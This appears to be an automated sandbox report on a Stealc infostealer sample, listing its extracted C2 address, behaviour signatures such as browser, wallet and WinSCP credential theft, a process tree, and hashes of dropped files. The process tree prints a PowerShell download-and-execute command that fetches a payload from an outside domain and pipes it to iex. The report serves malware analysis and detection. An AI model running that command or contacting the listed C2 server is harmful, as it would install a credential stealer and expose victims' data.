Analysis

  • max time kernel
    149s
  • max time network
    118s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    17/03/2026, 07:00

General

  • Target
    bf0940e105f105a2f6e4e75c6ea56ded68702fe6ada477a1ae6db20f7c101da5.exe
  • Size 1.7MB
  • Sample260317-hs2fgset2l
  • SHA256 bf0940e105f105a2f6e4e75c6ea56ded68702fe6ada477a1ae6db20f7c101da5
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • stealc

Botnet
  • 3

C2
  • http://45.131.214.233

Attributes
  • url_path

    /c14fbedecd404e0eba6c.php

rc4.traffic_key
rc4.C2

Signatures

  • Detects Stealc stealer Version 2 18 IoCs
  • Stealc

    Stealc is an infostealer written in C++.

  • Stealc family
  • Badlisted process makes network request 64 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 7 IoCs
  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\bf0940e105f105a2f6e4e75c6ea56ded68702fe6ada477a1ae6db20f7c101da5.exe
    "C:\Users\Admin\AppData\Local\Temp\bf0940e105f105a2f6e4e75c6ea56ded68702fe6ada477a1ae6db20f7c101da5.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:6136
    • C:\Users\Admin\Documents\Screenshot album\1LrLUuGvyYrlso495WPCZSJu.exe
      "C:\Users\Admin\Documents\Screenshot album\1LrLUuGvyYrlso495WPCZSJu.exe"
      2⤵
      • Executes dropped EXE
      • Checks processor information in registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:5060
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        3⤵
          PID:2864
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
          3⤵
            PID:6132
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "iwr https://assets.fxd-hz-tk-loop.in.net/python_d.pdb |iex"
            3⤵
            • Badlisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2156
            • C:\Users\Admin\AppData\Roaming\Adobe\SessionStorage\ntmon_x86\9e35280cd17bc33a\LaunchHelp.exe
              "C:\Users\Admin\AppData\Roaming\Adobe\SessionStorage\ntmon_x86\9e35280cd17bc33a\LaunchHelp.exe" "C:\Users\Admin\AppData\Roaming\Adobe\SessionStorage\ntmon_x86\9e35280cd17bc33a\python_d.pdb"
              4⤵
              • Executes dropped EXE
              • Loads dropped DLL
              PID:2772
      • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
        "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
        1⤵
          PID:5524
        • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
          "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
          1⤵
            PID:1924
          • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
            1⤵
              PID:2676
            • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
              1⤵
                PID:3500

              Network

                    MITRE ATT&CK Enterprise v16

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    22F82124-E33B-DF38-17AC-13802FB46B48.txt

                    • Path C:\ProgramData\22F82124-E33B-DF38-17AC-13802FB46B48.txt
                    • Size 64B
                    • SHA256 19c320dc14a1579b69bad364b10feaf1d28a89da966c36c2af46290b7f6c4193
                    • MD5 SHA1 SHA512 TLSH

                    22F82124-E33B-DF38-17AC-13802FB46B48.txt

                    • Path C:\ProgramData\22F82124-E33B-DF38-17AC-13802FB46B48.txt
                    • Size 64B
                    • SHA256 f5377497cbc697d391a680d86e38807d1e1f67198b1c687a5872f4a1c3fa5534
                    • MD5 SHA1 SHA512 TLSH

                    __PSScriptPolicyTest_4ftg3ohb.3fp.ps1

                    • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4ftg3ohb.3fp.ps1
                    • Size 60B
                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                    • MD5 SHA1 SHA512 TLSH

                    LaunchHelp.exe

                    • Path C:\Users\Admin\AppData\Roaming\Adobe\SessionStorage\ntmon_x86\9e35280cd17bc33a\LaunchHelp.exe
                    • Size 102KB
                    • SHA256 b35f09b876edb18695347860f79acddc68993f711274556156769476cd05ae8a
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    _ctypes.pyd

                    • Path C:\Users\Admin\AppData\Roaming\Adobe\SessionStorage\ntmon_x86\9e35280cd17bc33a\_ctypes.pyd
                    • Size 139KB
                    • SHA256 3d96bd2fcceac4b94aa4c39a2c28117b67fdef2efb85e8c70153a42232a993f3
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    libffi-8.dll

                    • Path C:\Users\Admin\AppData\Roaming\Adobe\SessionStorage\ntmon_x86\9e35280cd17bc33a\libffi-8.dll
                    • Size 38KB
                    • SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    python3.dll

                    • Path C:\Users\Admin\AppData\Roaming\Adobe\SessionStorage\ntmon_x86\9e35280cd17bc33a\python3.dll
                    • Size 73KB
                    • SHA256 482b1c87a8bdd8770ec81f4b0e236de21b5cf3d45a549dc0b051b09732a99dbe
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    python315._pth

                    • Path C:\Users\Admin\AppData\Roaming\Adobe\SessionStorage\ntmon_x86\9e35280cd17bc33a\python315._pth
                    • Size 80B
                    • SHA256 c7f3432f90e8f04c78ff2cef76cf51e50a13ed922f0bcc63fa34aa4decc5770c
                    • MD5 SHA1 SHA512 TLSH

                    python315.dll

                    • Path C:\Users\Admin\AppData\Roaming\Adobe\SessionStorage\ntmon_x86\9e35280cd17bc33a\python315.dll
                    • Size 6.9MB
                    • SHA256 46d30acdb729ca35aefeac6e5ab5e00cf8c2ec823e922e8aebe82a412e832336
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    python315.zip

                    • Path C:\Users\Admin\AppData\Roaming\Adobe\SessionStorage\ntmon_x86\9e35280cd17bc33a\python315.zip
                    • Size 4.4MB
                    • SHA256 0e029c316b6bc7931064a1b5dd2f18213a0581bf447fffbbf687e6cca573aa21
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    python_d.pdb

                    • Path C:\Users\Admin\AppData\Roaming\Adobe\SessionStorage\ntmon_x86\9e35280cd17bc33a\python_d.pdb
                    • Size 391KB
                    • SHA256 e63affca32f0f38cd4e7099987bc56057482fea83cde115446405c67946613a9
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    vcruntime140.dll

                    • Path C:\Users\Admin\AppData\Roaming\Adobe\SessionStorage\ntmon_x86\9e35280cd17bc33a\vcruntime140.dll
                    • Size 117KB
                    • SHA256 052ad6a20d375957e82aa6a3c441ea548d89be0981516ca7eb306e063d5027f4
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    1LrLUuGvyYrlso495WPCZSJu.exe

                    • Path C:\Users\Admin\Documents\Screenshot album\1LrLUuGvyYrlso495WPCZSJu.exe
                    • Size 2.2MB
                    • SHA256 5e70a43fac74764e5cd06c7b79e6d914ec27e2a9d485af7f0dcf6f3bd056fab5
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    memory/2156-89-0x000000000D3E0000-0x000000000D986000-memory.dmp

                    memory/2156-78-0x0000000008320000-0x00000000083C4000-memory.dmp

                    memory/2156-155-0x0000000007E20000-0x0000000007EFA000-memory.dmp

                    memory/2156-154-0x0000000000A90000-0x0000000000ADA000-memory.dmp

                    memory/2156-150-0x0000000000A90000-0x0000000000ADA000-memory.dmp

                    memory/2156-97-0x000000000BD40000-0x000000000BD52000-memory.dmp

                    memory/2156-96-0x0000000007CC0000-0x0000000007CCA000-memory.dmp

                    memory/2156-90-0x000000000CED0000-0x000000000CF1A000-memory.dmp

                    memory/2156-88-0x000000000CE00000-0x000000000CE22000-memory.dmp

                    memory/2156-87-0x0000000007E20000-0x0000000007EFA000-memory.dmp

                    memory/2156-86-0x0000000000A90000-0x0000000000ADA000-memory.dmp

                    memory/2156-51-0x00000000025C0000-0x00000000025F6000-memory.dmp

                    memory/2156-52-0x0000000005090000-0x00000000056BA000-memory.dmp

                    memory/2156-53-0x0000000004E10000-0x0000000004E32000-memory.dmp

                    memory/2156-54-0x0000000005730000-0x0000000005796000-memory.dmp

                    memory/2156-55-0x00000000057A0000-0x0000000005806000-memory.dmp

                    memory/2156-85-0x000000000BC80000-0x000000000BC88000-memory.dmp

                    memory/2156-62-0x0000000005A00000-0x0000000005D57000-memory.dmp

                    memory/2156-63-0x0000000005DC0000-0x0000000005DDE000-memory.dmp

                    memory/2156-64-0x0000000005E00000-0x0000000005E4C000-memory.dmp

                    memory/2156-65-0x0000000007610000-0x0000000007C8A000-memory.dmp

                    memory/2156-66-0x00000000062E0000-0x00000000062FA000-memory.dmp

                    memory/2156-67-0x0000000008440000-0x0000000008BE6000-memory.dmp

                    memory/2156-68-0x00000000082C0000-0x00000000082F4000-memory.dmp

                    memory/2156-69-0x00000000707B0000-0x00000000707FC000-memory.dmp

                    memory/2156-70-0x0000000070930000-0x0000000070C87000-memory.dmp

                    memory/2156-77-0x0000000008300000-0x000000000831E000-memory.dmp

                    memory/2156-84-0x000000000BD30000-0x000000000BD4A000-memory.dmp

                    memory/2156-79-0x0000000008430000-0x000000000843A000-memory.dmp

                    memory/2156-80-0x000000000BC90000-0x000000000BD26000-memory.dmp

                    memory/2156-81-0x000000000BBF0000-0x000000000BC01000-memory.dmp

                    memory/2156-82-0x000000000BC20000-0x000000000BC2E000-memory.dmp

                    memory/2156-83-0x000000000BC30000-0x000000000BC45000-memory.dmp

                    memory/2772-160-0x0000000140000000-0x000000014003F000-memory.dmp

                    memory/2772-186-0x000002826DD00000-0x000002826DD0C000-memory.dmp

                    memory/5060-26-0x0000000140000000-0x00000001400D3000-memory.dmp

                    memory/5060-23-0x0000000140000000-0x00000001400D3000-memory.dmp

                    memory/5060-48-0x0000000140000000-0x00000001400D3000-memory.dmp

                    memory/5060-17-0x0000000140000000-0x00000001400D3000-memory.dmp

                    memory/5060-45-0x0000000140000000-0x00000001400D3000-memory.dmp

                    memory/5060-16-0x0000000140000000-0x00000001400D3000-memory.dmp

                    memory/5060-30-0x0000000140000000-0x00000001400D3000-memory.dmp

                    memory/5060-19-0x0000000140000000-0x00000001400D3000-memory.dmp

                    memory/5060-20-0x0000000140000000-0x00000001400D3000-memory.dmp

                    memory/5060-21-0x0000000140000000-0x00000001400D3000-memory.dmp

                    memory/5060-22-0x0000000140000000-0x00000001400D3000-memory.dmp

                    memory/5060-49-0x000001EA56F30000-0x000001EA5704E000-memory.dmp

                    memory/5060-25-0x0000000140000000-0x00000001400D3000-memory.dmp

                    memory/5060-14-0x0000000140000000-0x00000001400D3000-memory.dmp

                    memory/5060-24-0x0000000140000000-0x00000001400D3000-memory.dmp

                    memory/5060-18-0x0000000140000000-0x00000001400D3000-memory.dmp

                    memory/5060-15-0x0000000140000000-0x00000001400D3000-memory.dmp

                    memory/5060-50-0x0000000140000000-0x00000001400D3000-memory.dmp

                    memory/5060-13-0x0000000140000000-0x00000001400D3000-memory.dmp

                    memory/6136-27-0x0000000140000000-0x000000014004E000-memory.dmp

                    memory/6136-0-0x0000000140000000-0x000000014004E000-memory.dmp